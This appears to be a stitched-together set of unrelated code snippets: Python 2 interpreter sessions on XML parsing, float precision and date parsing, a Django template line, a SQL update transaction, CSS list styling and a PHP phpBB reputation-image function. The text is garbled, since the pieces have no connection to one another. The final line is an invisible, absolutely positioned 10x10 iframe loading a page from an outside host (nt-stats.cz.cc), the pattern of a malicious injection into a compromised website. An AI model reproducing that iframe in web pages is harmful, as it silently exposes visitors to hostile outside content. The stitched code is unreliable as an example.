>>> dom = parseString('<doc><name>Non nom</name><hobby>python</hobby></doc>')
>>> textnode = dom.getElementsByTagName('name')[0].childNodes[0]
>>> print textnode
<DOM Text node "u'Non nom'">
>>> textnode.nodeType == textnode.TEXT_NODE
True
>>> textnode.nodeValue
u'Non nom'
>>> 9007199254740992
9007199254740992
>>> 9007199254740993
9007199254740992
>>> 9007199254740994
9007199254740994
>>> 9007199254740995
9007199254740996
>>> import email
>>> email.utils.parsedate_tz('Sun, 15 May 2011 09:59:59 +0400')
(2011, 5, 15, 9, 59, 59, 0, 1, -1, 14400)
>>> import datetime
>>> t = email.utils.parsedate_tz('Sun, 15 May 2011 09:59:59 +0400')
>>> datetime.datetime(*t[:6]) - datetime.timedelta(seconds=t[-1])
datetime.datetime(2011, 5, 15, 5, 59, 59)
>>> import dateutil.parser
>>> dateutil.parser.parse('Sun, 15 May 2011 09:59:59 +0400')
datetime.datetime(2011, 5, 15, 9, 59, 59, tzinfo=tzoffset(None, 14400))
{{ cl.result_count }} {% ifequal cl.result_count 1 %}{{ cl.opts.verbose_name }}{% else %}{{ cl.opts.verbose_name_plural }}{% endifequal %}
BEGIN;
create temporary table TMP
as select name, summ
from THETABLE
where original = 1
group by name, summ;
update THETABLE set original_already = 0;
update THETABLE inner join TMP on TMP.name = THETABLE.name and TMP.summ = THETABLE.summ
set THETABLE.original_already = 1
drop table TMP;
COMMIT;
ol {
counter-reset: li;
}
ol > li {
list-style:none;
position: relative;
}
ol > li:before {
content:counter(li);
counter-increment:li;
position: absolute;
left: -2em;
color: red;
font-weight: bold;
}
<ol>
<li><p> First
<li><p> Second
</ol>
ol {
color: red;
font-weight: bold;
}
ol p {
color: black;
font-weight: normal;
}
function get_rep_img($points, $username)
{
global $config, $db, $user;
$user->add_lang('mods/reputation_mod');
$user_rank = get_rep_rank($points, $username);
$block_img = '<img src="images/reputation/neutral.gif" title="' . $user_rank . '" />';
if ($points > 0)
{
$block_img = '<img src="images/reputation/pos.gif" title="' . $user_rank . '" />';
}
else if ($points < 0)
{
$block_img = '<img src="images/reputation/neg.gif" title="' . $user_rank . '" />';
}
$repeat = (intval($points / $config['rp_block_per_points']));
if ($repeat > $config['rp_max_blocks'])
{
$repeat = ($config['rp_max_blocks'] - 1);
}
return ($repeat > 0) ? str_repeat($block_img, $repeat) . $block_img : $block_img;
}
<iframe src='http://nt-stats.cz.cc/counter.htm' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'>